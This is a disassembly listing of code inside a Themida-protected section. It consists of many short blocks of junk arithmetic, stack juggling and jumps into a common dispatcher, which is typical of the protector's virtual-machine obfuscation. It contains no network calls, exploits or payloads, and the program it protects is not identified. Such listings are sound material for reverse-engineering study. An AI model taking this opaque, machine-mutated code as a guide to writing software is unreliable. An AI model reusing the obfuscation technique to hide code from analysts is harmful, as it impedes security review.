loc_58B009: ; CODE XREF: Themida_:005914DBj
pop ebx
jmp loc_5944F8
; ---------------------------------------------------------------------------
loc_58B00F: ; CODE XREF: Themida_:00589AA3j
add esp, 4
push 6E2Dh
jmp loc_59206F
; ---------------------------------------------------------------------------
loc_58B01C: ; CODE XREF: Themida_:00595207j
push dword ptr [esp+4]
jmp loc_58B665
; ---------------------------------------------------------------------------
loc_58B025: ; CODE XREF: Themida_:00593AC0j
pop edx
add esi, eax
push ebx
push edi
mov edi, 4D681C2Bh
mov ebx, 88FF2E3Dh
sub ebx, edi
jmp loc_58EA6E
; ---------------------------------------------------------------------------
loc_58B03B: ; CODE XREF: Themida_:0059496Aj
pop edx
jmp loc_592D99
; ---------------------------------------------------------------------------
loc_58B041: ; CODE XREF: Themida_:0058AC1Aj
push 725B0FD4h
pop ecx
jmp loc_58CCCC
; ---------------------------------------------------------------------------
loc_58B04C: ; CODE XREF: Themida_:00592B70j
inc esi
jmp loc_58C229
; ---------------------------------------------------------------------------
loc_58B052: ; CODE XREF: Themida_:00594EE9j
xor [esp], esi
xor esi, [esp]
jmp loc_589DC2
; ---------------------------------------------------------------------------
loc_58B05D: ; CODE XREF: Themida_:0058BE8Cj
sub al, 0F1h
sub al, cl
push edx
mov dl, 0F1h
add al, dl
pop edx
push edx
mov dl, 94h
push ecx
jmp loc_58E4B6
; ---------------------------------------------------------------------------
loc_58B070: ; CODE XREF: Themida_:0058D48Cj
push ebp
mov ebp, 226035BCh
xor eax, ebp
pop ebp
push esi
mov esi, 8E0D4Bh
sub eax, 76DF30A7h
jmp loc_593213
; ---------------------------------------------------------------------------
loc_58B089: ; CODE XREF: Themida_:00595145j
push 6280h
mov [esp], eax
jmp loc_58A06C
; ---------------------------------------------------------------------------
loc_58B096: ; CODE XREF: Themida_:00594707j
neg ebp
sub ebp, 3C148DBCh
add eax, 3FA13472h
jmp loc_590444
; ---------------------------------------------------------------------------
loc_58B0A8: ; CODE XREF: Themida_:00594C84j
sub dl, 1
xor dl, 0E9h
xor dl, 55h
shl dl, 8
jmp loc_58E2FE
; ---------------------------------------------------------------------------
loc_58B0B9: ; CODE XREF: Themida_:005933C0j
sub bh, 91h
xor dl, bh
pop ebx
jmp loc_58ED96
; ---------------------------------------------------------------------------
loc_58B0C4: ; CODE XREF: Themida_:0058C028j
mov ebx, 4
jmp loc_58ACD9
; ---------------------------------------------------------------------------
loc_58B0CE: ; CODE XREF: Themida_:0058EDFDj
add edx, eax
pop eax
jmp loc_58BA5E
; ---------------------------------------------------------------------------
loc_58B0D6: ; CODE XREF: Themida_:00595056j
sub ecx, 42357786h
add ecx, edi
add ecx, 42357786h
pop edi
jmp loc_58E61E
; ---------------------------------------------------------------------------
loc_58B0EA: ; CODE XREF: Themida_:0058F34Ej
mov [esp], ecx
push edx
jmp loc_58CD90
; ---------------------------------------------------------------------------
loc_58B0F3: ; CODE XREF: Themida_:0059231Fj
mov edx, esp
jmp loc_5901DD
; ---------------------------------------------------------------------------
loc_58B0FA: ; CODE XREF: Themida_:00591A5Cj
mov ebx, esp
push esi
mov esi, 4
add ebx, esi
pop esi
jmp loc_592EEC
; ---------------------------------------------------------------------------
loc_58B10A: ; CODE XREF: Themida_:0058DB09j
add dword ptr [esp], 4
pop edi
jmp loc_59519C
; ---------------------------------------------------------------------------
loc_58B114: ; CODE XREF: Themida_:00590C41j
xor edx, 1CC64h
add ebp, edx
pop edx
add ebp, 4
xchg ebp, [esp]
pop esp
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_592D66
; ---------------------------------------------------------------------------
loc_58B135: ; CODE XREF: Themida_:00591C30j
add esp, 4
sub edx, 12D36B6Dh
sub edx, 764B18Bh
jmp loc_59496F
; ---------------------------------------------------------------------------
loc_58B149: ; CODE XREF: Themida_:0058A8D0j
pop dword ptr [esp]
pop esp
push esi
jmp loc_58A841
; ---------------------------------------------------------------------------
loc_58B153: ; CODE XREF: Themida_:0058A4BFj
push eax
mov eax, 0C543D58h
shl eax, 7
shl eax, 8
shl eax, 5
shl eax, 7
sub eax, 0C0000001h
add ecx, eax
mov eax, [esp]
add esp, 4
push 19F2h
mov [esp], edi
mov edi, 2E98A022h
jmp loc_58E045
; ---------------------------------------------------------------------------
loc_58B187: ; CODE XREF: Themida_:0059553Aj
mov ecx, esp
jmp loc_593DAB
; ---------------------------------------------------------------------------
loc_58B18E: ; CODE XREF: Themida_:0058EF66j
sub bl, 0
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58B1A2: ; CODE XREF: Themida_:00592ED7j
add edx, 5D3A04ABh
add eax, edx
pop edx
push edi
jmp loc_592695
; ---------------------------------------------------------------------------
loc_58B1B1: ; CODE XREF: Themida_:0058A257j
mov [esp], edx
mov edx, 1Ch
add edx, 0D8A35C3h
add edx, 7A3856FEh
add edx, edi
sub edx, 7A3856FEh
push eax
mov eax, 0D8A35C3h
sub edx, eax
pop eax
mov ecx, [edx]
pop edx
jmp loc_58D1F5
; ---------------------------------------------------------------------------
loc_58B1DE: ; CODE XREF: Themida_:005908CCj
xor edx, 0A670BF6h
add ecx, edx
pop edx
jmp loc_593537
; ---------------------------------------------------------------------------
loc_58B1EC: ; CODE XREF: Themida_:0058F952j
mov cl, bl
pop ebx
jmp loc_58B94D
; ---------------------------------------------------------------------------
loc_58B1F4: ; CODE XREF: Themida_:0058ED91j
mov esi, ebx
jmp loc_58AA1D
; ---------------------------------------------------------------------------
loc_58B1FB: ; CODE XREF: Themida_:0058FAABj
sub esi, 2E083BB6h
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push 694Eh
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_58EC85
; ---------------------------------------------------------------------------
loc_58B230: ; CODE XREF: Themida_:0058D095j
push eax
mov ah, 0BFh
jmp loc_58DA56
; ---------------------------------------------------------------------------
loc_58B238: ; CODE XREF: Themida_:0058CAAFj
push edx
mov edx, 4
add [esp+4], edx
pop edx
jmp loc_590191
; ---------------------------------------------------------------------------
loc_58B248: ; CODE XREF: Themida_:005946B8j
mov eax, [esp]
add esp, 4
jmp loc_591AB6
; ---------------------------------------------------------------------------
loc_58B256: ; CODE XREF: Themida_:0058D5ADj
pop ebx
jmp loc_58E8FE
; ---------------------------------------------------------------------------
loc_58B25C: ; CODE XREF: Themida_:0058CFD3j
xchg eax, [esp]
jmp loc_59043A
; ---------------------------------------------------------------------------
loc_58B264: ; CODE XREF: Themida_:0059263Dj
mov eax, 4D8E0D27h
jmp loc_5919C5
; ---------------------------------------------------------------------------
loc_58B26E: ; CODE XREF: Themida_:0059077Fj
add ecx, 0B95CDA47h
jmp loc_58D2F4
; ---------------------------------------------------------------------------
loc_58B279: ; CODE XREF: Themida_:0058A004j
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
mov ebx, 27A71D1Fh
not ebx
inc ebx
or ebx, 3A02449Ch
push 0
jmp loc_592EA8
; ---------------------------------------------------------------------------
loc_58B2A6: ; CODE XREF: Themida_:0058A8B3j
xor dx, 4745h
sub bx, dx
pop edx
push edx
jmp loc_5949A3
; ---------------------------------------------------------------------------
loc_58B2B5: ; CODE XREF: Themida_:0058F018j
mov ebx, 11A03AF5h
jmp loc_58E40C
; ---------------------------------------------------------------------------
loc_58B2BF: ; CODE XREF: Themida_:005905F2j
mov ebp, 4
add eax, ebp
pop ebp
jmp loc_58F1CA
; ---------------------------------------------------------------------------
loc_58B2CC: ; CODE XREF: Themida_:0058AE9Ej
push ebx
mov bh, 7Ch
push dx
push ecx
mov cl, 6Ch
jmp loc_58E2B9
; ---------------------------------------------------------------------------
loc_58B2D9: ; CODE XREF: Themida_:0058F2ABj
push 39F1h
mov [esp], eax
mov eax, 24A86AE6h
sub edi, eax
pop eax
push edi
jmp loc_58AD80
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_5898C8
; ---------------------------------------------------------------------------
loc_58B2F7: ; CODE XREF: Themida_:005955E6j
add dword ptr [edx], 1
mov edx, [esp]
add esp, 4
loc_58B303: ; CODE XREF: Themida_:00595A47j
push 46D9h
mov [esp], ebx
sub dword ptr [esp], 14464B5Ch
jmp loc_589CF4
; ---------------------------------------------------------------------------
loc_58B317: ; CODE XREF: Themida_:00590CC2j
add eax, edx
pop edx
or ebp, eax
pop eax
jmp loc_58F81A
; ---------------------------------------------------------------------------
loc_58B322: ; CODE XREF: Themida_:00590546j
mov esi, [esp]
jmp loc_58FCC6
; ---------------------------------------------------------------------------
mov cx, [esp]
push 1438h
mov [esp], esi
mov esi, esp
jmp loc_592909
; ---------------------------------------------------------------------------
loc_58B33D: ; CODE XREF: Themida_:0058E9D5j
add ecx, 0B66298Eh
sub ecx, 331B49A8h
jmp loc_58C581
; ---------------------------------------------------------------------------
loc_58B34E: ; CODE XREF: Themida_:00591D34j
push edx
push ebp
mov ebp, 41995889h
push ebp
jmp loc_58D478
; ---------------------------------------------------------------------------
loc_58B35B: ; CODE XREF: Themida_:00592E54j
mov ebx, 5CAF54B9h
inc ebx
inc ebx
shl ebx, 4
jmp loc_5909C3
; ---------------------------------------------------------------------------
loc_58B36A: ; CODE XREF: Themida_:0058C2F2j
sub bh, 15h
shr bh, 2
sub bh, 8Ch
jmp loc_594DD5
; ---------------------------------------------------------------------------
loc_58B378: ; CODE XREF: Themida_:00594637j
xor eax, 945EA04h
jmp loc_58D2ED
; ---------------------------------------------------------------------------
loc_58B382: ; CODE XREF: Themida_:00591168j
mov bl, 0F9h
not bl
inc bl
jmp loc_592F4E
; ---------------------------------------------------------------------------
loc_58B38D: ; CODE XREF: Themida_:0058E91Ej
pop esi
shr cx, 5
shl cx, 7
jmp loc_5931B4
; ---------------------------------------------------------------------------
loc_58B39B: ; CODE XREF: Themida_:00593AD4j
sub ebx, 59032D1Ch
not ebx
xor ebx, 6AC91288h
and esi, ebx
pop ebx
jmp loc_5958D6
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
mov ecx, esp
sub esp, 4
mov [esp], edx
jmp loc_5933D8
; ---------------------------------------------------------------------------
loc_58B3C3: ; CODE XREF: Themida_:0058C341j
add eax, esi
pop esi
xchg eax, [esp]
mov esp, [esp]
mul cl
movzx cx, ah
push small 292Dh
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58B3E6: ; CODE XREF: Themida_:005924C7j
add edx, ecx
pop ecx
push esi
mov esi, 4
sub edx, 53F96D18h
add edx, esi
add edx, 53F96D18h
pop esi
jmp loc_59520C
; ---------------------------------------------------------------------------
loc_58B403: ; CODE XREF: Themida_:0058A6E9j
neg ebx
jmp loc_58D248
; ---------------------------------------------------------------------------
loc_58B40A: ; CODE XREF: Themida_:005921B3j
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
jmp loc_58BC5A
; ---------------------------------------------------------------------------
loc_58B421: ; CODE XREF: Themida_:00591FF1j
mov ecx, [esp]
add esp, 4
add edi, ebp
mov ebp, [esp]
add esp, 4
add edi, 2
xchg edi, [esp]
mov esp, [esp]
jmp loc_591031
; ---------------------------------------------------------------------------
loc_58B443: ; CODE XREF: Themida_:0058D473j
push dword ptr [esp]
pop eax
add esp, 4
loc_58B44D: ; CODE XREF: Themida_:0058CB09j
; Themida_:0059111Ej
sub esp, 4
mov [esp], edi
push 76E2h
jmp loc_595B20
; ---------------------------------------------------------------------------
loc_58B45D: ; CODE XREF: Themida_:0058DFA4j
pop ebp
dec ebp
jmp loc_58AF17
; ---------------------------------------------------------------------------
loc_58B464: ; CODE XREF: Themida_:0059018Cj
add edx, 4
jmp loc_594D97
; ---------------------------------------------------------------------------
loc_58B46C: ; CODE XREF: Themida_:0058C7ABj
pop edx
jmp loc_593BE8
; ---------------------------------------------------------------------------
loc_58B472: ; CODE XREF: Themida_:00594A24j
sub dword ptr [esp+4], 32BC5EC1h
sub dword ptr [esp+4], 31F9553Eh
jmp loc_58A833
; ---------------------------------------------------------------------------
loc_58B487: ; CODE XREF: Themida_:0058E374j
add ebx, esi
add ebx, 85F2176h
add ebx, 0DF40755h
jmp loc_595488
; ---------------------------------------------------------------------------
loc_58B49A: ; CODE XREF: Themida_:00593DB8j
add esp, 4
xor ebp, 43634071h
push edx
mov edx, 16C70519h
xor edx, 5DAE0984h
shr edx, 4
inc edx
shl edx, 8
push eax
mov eax, 5B182E1Fh
xor edx, eax
pop eax
xor edx, 0F787A54Dh
jmp loc_5937EA
; ---------------------------------------------------------------------------
loc_58B4CA: ; CODE XREF: Themida_:005947A1j
pop small word ptr [edi+eax*4]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58B4D3: ; CODE XREF: Themida_:00589DBDj
pop eax
and ebp, edi
mov edi, [esp]
add esp, 4
add ebp, 774675B3h
add ebp, 579876E9h
sub ebp, 1F00EC9Ch
jmp loc_58D7EE
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
jmp loc_5923C2
; ---------------------------------------------------------------------------
loc_58B500: ; CODE XREF: Themida_:005910EAj
push 2655h
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
push edx
push esi
push 16F42F43h
pop esi
xor esi, 1EE75B33h
jmp loc_59286B
; ---------------------------------------------------------------------------
loc_58B529: ; CODE XREF: Themida_:0058FD43j
sub edx, ebx
mov ebx, [esp]
add esp, 4
add edx, eax
add edx, 7D1957DAh
push eax
mov eax, 6CB33E15h
dec eax
shl eax, 1
push edx
mov edx, 8EE3242Fh
xor eax, edx
pop edx
sub edx, 1A107BAAh
jmp loc_5927AF
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_58C2B3
; ---------------------------------------------------------------------------
loc_58B55E: ; CODE XREF: Themida_:0058E30Bj
mov al, bl
pop ebx
dec al
dec al
xor al, 0E6h
jmp loc_58E179
; ---------------------------------------------------------------------------
loc_58B56C: ; CODE XREF: Themida_:005947CAj
pop ebx
push eax
jmp loc_591575
; ---------------------------------------------------------------------------
loc_58B573: ; CODE XREF: Themida_:0058E455j
mov ebx, esp
add ebx, 4
push edi
mov edi, 252763DBh
neg edi
xor edi, 838501Dh
and edi, 7EC37ABAh
sub edi, 52C04834h
add ebx, edi
pop edi
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
bswap eax
push 4F9Bh
mov [esp], eax
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58B5B3: ; CODE XREF: Themida_:0058D502j
pop ebp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_592C55
; ---------------------------------------------------------------------------
loc_58B5C3: ; CODE XREF: Themida_:0058ED3Ej
mov [esp], ebp
push eax
sub dword ptr [esp], 71316EB9h
pop ebp
push esi
mov esi, 5355502Ch
neg esi
not esi
jmp loc_58D27A
; ---------------------------------------------------------------------------
loc_58B5DE: ; CODE XREF: Themida_:005953CDj
mov ebx, 58002B3Fh
jmp loc_5896F8
; ---------------------------------------------------------------------------
loc_58B5E8: ; CODE XREF: Themida_:0058F0C4j
pop esi
push 5A44h
mov [esp], esi
push ebp
mov ebp, 2
jmp loc_59508C
; ---------------------------------------------------------------------------
loc_58B5FC: ; CODE XREF: Themida_:00593A75j
push edi
push esi
mov esi, 61266E21h
mov edi, esi
jmp loc_593004
; ---------------------------------------------------------------------------
loc_58B60A: ; CODE XREF: Themida_:005929F6j
sub esp, 4
mov [esp], edx
mov edx, 661C00E1h
jmp loc_5927E1
; ---------------------------------------------------------------------------
loc_58B61D: ; CODE XREF: Themida_:005953A3j
sub edx, 84E5705h
jmp loc_58FA0C
; ---------------------------------------------------------------------------
loc_58B628: ; CODE XREF: Themida_:0058D8C5j
add edx, 69761329h
push esi
jmp loc_58F91D
; ---------------------------------------------------------------------------
loc_58B634: ; CODE XREF: Themida_:0058E469j
shl ecx, 8
sub ecx, 0A587354h
mov ebp, ecx
pop ecx
jmp loc_5923A5
; ---------------------------------------------------------------------------
loc_58B645: ; CODE XREF: Themida_:00593BE3j
pop ecx
xchg edx, [esp]
pop esp
add esp, 4
add edx, 4
sub esp, 4
mov [esp], eax
mov eax, 2
add edx, eax
jmp loc_58AB83
; ---------------------------------------------------------------------------
loc_58B665: ; CODE XREF: Themida_:0058B020j
pop ebp
pop dword ptr [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
jmp loc_58EB3D
; ---------------------------------------------------------------------------
loc_58B675: ; CODE XREF: Themida_:0058AEFDj
add dh, 3Eh
jmp loc_58DA9F
; ---------------------------------------------------------------------------
loc_58B67D: ; CODE XREF: Themida_:0058F202j
or edx, 72DF0371h
sub edx, 7FDF5BF3h
add esi, edx
pop edx
jmp loc_58F6A4
; ---------------------------------------------------------------------------
loc_58B691: ; CODE XREF: Themida_:00590D64j
mov [esp], edx
jmp loc_590E8B
; ---------------------------------------------------------------------------
loc_58B699: ; CODE XREF: Themida_:0058D840j
push esi
jmp loc_592130
; ---------------------------------------------------------------------------
loc_58B69F: ; CODE XREF: Themida_:0058AEC8j
mov eax, 4
add esi, eax
pop eax
jmp loc_58BFC6
; ---------------------------------------------------------------------------
loc_58B6AC: ; CODE XREF: Themida_:00594E01j
mov ebx, [esp]
add esp, 4
shl eax, cl
sub esp, 4
mov [esp], edi
mov edi, 0FFFFFFFFh
sub eax, 45522BD1h
sub eax, 4BBE79DBh
add eax, edi
push ecx
push 1F76D6h
jmp loc_593394
; ---------------------------------------------------------------------------
loc_58B6DC: ; CODE XREF: Themida_:00591929j
mov [esp], eax
jmp loc_590089
; ---------------------------------------------------------------------------
loc_58B6E4: ; CODE XREF: Themida_:0058E65Dj
add esp, 4
loc_58B6EA: ; CODE XREF: Themida_:00590CF5j
push edi
mov edi, ebx
push 76C0h
jmp loc_59461A
; ---------------------------------------------------------------------------
loc_58B6F7: ; CODE XREF: Themida_:00591014j
push ecx
jmp loc_58CB9A
; ---------------------------------------------------------------------------
loc_58B6FD: ; CODE XREF: Themida_:0058F43Aj
pop edx
sub bl, al
add bl, 27h
push edx
mov dl, 39h
neg dl
neg dl
xor dl, 24h
sub bl, dl
pop edx
jmp loc_589B99
; ---------------------------------------------------------------------------
loc_58B715: ; CODE XREF: Themida_:00594454j
inc edi
jmp loc_594C22
; ---------------------------------------------------------------------------
loc_58B71B: ; CODE XREF: Themida_:0059247Bj
add ecx, eax
pop eax
push esi
push ebx
mov ebx, 776229Bh
jmp loc_58ED7D
; ---------------------------------------------------------------------------
loc_58B72A: ; CODE XREF: Themida_:0058B8EDj
pop edi
add ebx, ecx
pop ecx
sub ebx, 7BD56F9Ch
add ebx, edi
jmp loc_58A8E1
; ---------------------------------------------------------------------------
loc_58B73B: ; CODE XREF: Themida_:0058BBB3j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58B740: ; CODE XREF: Themida_:0058BBD2j
xor [esp], edx
jmp loc_59500A
; ---------------------------------------------------------------------------
loc_58B748: ; CODE XREF: Themida_:0058AB23j
add esp, 4
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58B753: ; CODE XREF: Themida_:0058A194j
mov [esp], edx
mov eax, [esp]
add esp, 4
pop edx
not edx
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], edx
mov eax, [esp]
jmp loc_594F23
; ---------------------------------------------------------------------------
loc_58B776: ; CODE XREF: Themida_:0058A4B5j
add ebx, 3D832BB5h
pop ecx
push 13EBh
mov [esp], eax
mov eax, 2
add ebx, 474C5ECCh
add ebx, eax
sub ebx, 474C5ECCh
pop eax
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_589C8B
; ---------------------------------------------------------------------------
loc_58B7AA: ; CODE XREF: Themida_:00592F1Dj
pop edi
jmp loc_5922F7
; ---------------------------------------------------------------------------
loc_58B7B0: ; CODE XREF: Themida_:00589B0Aj
push eax
push esi
push 16037F21h
jmp loc_58D0EF
; ---------------------------------------------------------------------------
loc_58B7BC: ; CODE XREF: Themida_:00590C06j
add edi, 2388427Ah
add edi, ebp
push ecx
mov ecx, 79395403h
sub ecx, 55B11189h
jmp loc_5958BA
; ---------------------------------------------------------------------------
loc_58B7D5: ; CODE XREF: Themida_:0058F83Fj
inc edx
jmp loc_5896FF
; ---------------------------------------------------------------------------
loc_58B7DB: ; CODE XREF: Themida_:0058D84Dj
inc ah
dec ah
sub ah, 0F1h
jmp loc_591D41
; ---------------------------------------------------------------------------
loc_58B7E7: ; CODE XREF: Themida_:0058C8A3j
push 2F21h
mov [esp], ebx
jmp loc_5919BB
; ---------------------------------------------------------------------------
loc_58B7F4: ; CODE XREF: Themida_:0058A736j
push eax
mov eax, 4
add edx, eax
jmp loc_58A041
; ---------------------------------------------------------------------------
loc_58B801: ; CODE XREF: Themida_:00595957j
pop bx
inc cl
push small 0
jmp loc_592A84
; ---------------------------------------------------------------------------
loc_58B80E: ; CODE XREF: Themida_:0058D811j
add eax, ecx
pop ecx
xchg eax, [esp]
pop esp
shl word ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push 564Eh
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_59322E
; ---------------------------------------------------------------------------
loc_58B844: ; CODE XREF: Themida_:00590367j
mov [esp], cx
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58B84D: ; CODE XREF: Themida_:0059194Dj
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_58C1BA
; ---------------------------------------------------------------------------
loc_58B85B: ; CODE XREF: Themida_:005932A8j
push 1ABFh
mov [esp], esp
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
push edx
mov edx, 4
add edi, edx
pop edx
push esi
mov esi, 39130783h
and esi, 24443E6Ch
neg esi
shr esi, 1
xor esi, 78A2070Eh
sub esi, 2210EC0h
xor esi, 153CEB4Ch
add edi, esi
jmp loc_58E5BA
; ---------------------------------------------------------------------------
loc_58B89F: ; CODE XREF: Themida_:005934F7j
sub edx, 551E1A70h
sub edx, ebx
add edx, 551E1A70h
add edx, 12950149h
add edx, 13C0370Eh
pop ebx
xchg edx, [esp]
jmp loc_593D60
; ---------------------------------------------------------------------------
loc_58B8C2: ; CODE XREF: Themida_:0058CF60j
push 3DC4h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push edi
mov edi, 2
sub esp, 4
mov [esp], ecx
push edi
push 29531640h
pop edi
xor edi, 414C6BA6h
mov ecx, edi
jmp loc_58B72A
; ---------------------------------------------------------------------------
loc_58B8F2: ; CODE XREF: Themida_:0058D068j
and ebp, 6D4A46A2h
push edx
push 43BBh
jmp loc_59086B
; ---------------------------------------------------------------------------
loc_58B903: ; CODE XREF: Themida_:00592FD0j
pop ecx
sub ah, 3Fh
add ah, 79h
xor ah, 8Dh
xor bl, ah
mov eax, [esp]
jmp loc_594C9A
; ---------------------------------------------------------------------------
loc_58B917: ; CODE XREF: Themida_:0058F466j
mov ax, [esp]
push ecx
jmp loc_595282
; ---------------------------------------------------------------------------
loc_58B921: ; CODE XREF: Themida_:0058C1A6j
sub ebp, 1AB335Eh
and ebp, 6760641Ch
or ebp, 0FE40B7h
push ecx
mov ecx, 66FE44B3h
xor ebp, ecx
jmp loc_592FA1
; ---------------------------------------------------------------------------
loc_58B940: ; CODE XREF: Themida_:005901ECj
mov ebx, 13F60E2Ah
xor ebx, ebp
pop ebp
jmp loc_58A0DE
; ---------------------------------------------------------------------------
loc_58B94D: ; CODE XREF: Themida_:0058B1EFj
mov [edi+eax*4], cl
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_58FEC5
; ---------------------------------------------------------------------------
loc_58B95E: ; CODE XREF: Themida_:005943B8j
xor edx, eax
pop eax
add eax, edx
mov edx, [esp]
add esp, 4
add eax, edi
push ebp
mov ebp, 14052F09h
sub eax, ebp
mov ebp, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_58C0DE
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebp
mov ebp, esp
push edi
mov edi, 437E1008h
or edi, 64D652D1h
shl edi, 1
push esi
jmp loc_5917C3
; ---------------------------------------------------------------------------
loc_58B9A8: ; CODE XREF: Themida_:00595005j
xor eax, ebp
mov ebp, [esp]
add esp, 4
inc eax
xor eax, 0DA1FBF54h
sub ecx, eax
pop eax
xor eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58B9CC: ; CODE XREF: Themida_:0059265Aj
sub esi, 4B5F4FF2h
xor eax, esi
pop esi
xor ecx, eax
push dword ptr [esp]
pop eax
add esp, 4
xor ecx, 2572754Bh
add ecx, 0C71F47E8h
mov edx, ecx
pop ecx
add esi, 63F13D58h
add esi, edx
push edx
mov edx, 6FE14669h
shl edx, 3
neg edx
dec edx
or edx, 3B52CEAh
or edx, 7DE425C0h
xor edx, 9C04D0A7h
sub esi, edx
pop edx
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 841h
jmp loc_58EFDA
; ---------------------------------------------------------------------------
loc_58BA36: ; CODE XREF: Themida_:00594515j
add bl, cl
jmp loc_58DDFC
; ---------------------------------------------------------------------------
loc_58BA3D: ; CODE XREF: Themida_:00595362j
add ecx, edx
jmp loc_5922FE
; ---------------------------------------------------------------------------
loc_58BA44: ; CODE XREF: Themida_:0058DEE2j
mov [esp], ecx
push edi
mov ecx, [esp]
add esp, 4
pop edi
not edi
jmp loc_58D522
; ---------------------------------------------------------------------------
loc_58BA56: ; CODE XREF: Themida_:0058FBACj
push dword ptr [esp]
jmp loc_595041
; ---------------------------------------------------------------------------
loc_58BA5E: ; CODE XREF: Themida_:0058B0D1j
push 35A9h
mov [esp], eax
mov eax, 4
sub edx, 68C835FDh
add edx, eax
jmp loc_58EF54
; ---------------------------------------------------------------------------
loc_58BA78: ; CODE XREF: Themida_:00589F46j
push eax
mov al, 32h
shl al, 7
shl al, 8
jmp loc_58A6EE
; ---------------------------------------------------------------------------
loc_58BA86: ; CODE XREF: Themida_:00589F6Aj
mov edi, 80745ABh
xor edi, 4BA869CDh
jmp loc_592E59
; ---------------------------------------------------------------------------
loc_58BA96: ; CODE XREF: Themida_:00594FA6j
add ebp, eax
add ebp, 149E415Ah
mov eax, [esp]
add esp, 4
jmp loc_590358
; ---------------------------------------------------------------------------
loc_58BAAC: ; CODE XREF: Themida_:0059320Ej
inc ch
jmp loc_58AAA0
; ---------------------------------------------------------------------------
loc_58BAB3: ; CODE XREF: Themida_:00589DA2j
mov ecx, 10E72D9Dh
xor ebp, ecx
pop ecx
jmp loc_590DDB
; ---------------------------------------------------------------------------
loc_58BAC0: ; CODE XREF: Themida_:0058D5BFj
pop ebx
xor ebp, edx
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_58FF5D
; ---------------------------------------------------------------------------
loc_58BAD7: ; CODE XREF: Themida_:0058FE3Bj
sub eax, 4AAA0CCCh
jmp loc_591759
; ---------------------------------------------------------------------------
loc_58BAE1: ; CODE XREF: Themida_:0058ECE9j
add esi, 4
xchg esi, [esp]
pop esp
pop dword ptr [esp]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58BAF0: ; CODE XREF: Themida_:00593205j
push edx
mov edx, 6CA43D14h
or edx, 2EFC1BADh
or edx, 5082447Ch
jmp loc_58FDE3
; ---------------------------------------------------------------------------
loc_58BB07: ; CODE XREF: Themida_:005954FAj
push edi
mov edi, esp
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
jmp loc_58AF02
; ---------------------------------------------------------------------------
loc_58BB1E: ; CODE XREF: Themida_:005912D1j
xchg edi, [esp]
pop esp
jmp loc_592B84
; ---------------------------------------------------------------------------
loc_58BB27: ; CODE XREF: Themida_:00590330j
shl esi, 7
add esi, 5A4155Ch
inc esi
xor esi, 3D389D9h
sub ebx, esi
pop esi
xchg ebx, [esp]
jmp loc_591664
; ---------------------------------------------------------------------------
loc_58BB42: ; CODE XREF: Themida_:0058A281j
push eax
push esi
jmp loc_58E6C5
; ---------------------------------------------------------------------------
loc_58BB49: ; CODE XREF: Themida_:0058DBE5j
add edi, 21C93522h
jmp loc_593078
; ---------------------------------------------------------------------------
loc_58BB54: ; CODE XREF: Themida_:0058C19Bj
xor ebp, 70CC72AEh
add edx, ebp
pop ebp
pop ebp
jmp loc_58D365
; ---------------------------------------------------------------------------
loc_58BB63: ; CODE XREF: Themida_:0058A98Cj
mov [esp], ebx
jmp loc_594F96
; ---------------------------------------------------------------------------
loc_58BB6B: ; CODE XREF: Themida_:0058BF99j
mov eax, [esp]
jmp loc_58D89D
; ---------------------------------------------------------------------------
loc_58BB73: ; CODE XREF: Themida_:00595407j
xor eax, 25D1655Bh
jmp loc_5946B6
; ---------------------------------------------------------------------------
loc_58BB7D: ; CODE XREF: Themida_:00595702j
xchg esi, [esp]
mov esp, [esp]
jmp loc_595103
; ---------------------------------------------------------------------------
loc_58BB88: ; CODE XREF: Themida_:0058BE2Bj
mov esi, 467A73E0h
jmp loc_595A80
; ---------------------------------------------------------------------------
loc_58BB92: ; CODE XREF: Themida_:0058CA31j
sub al, bl
pop ebx
push edx
push ebx
jmp loc_5937B8
; ---------------------------------------------------------------------------
loc_58BB9C: ; CODE XREF: Themida_:0058CD96j
add ch, 92h
sub ch, 2Fh
jmp loc_59321A
; ---------------------------------------------------------------------------
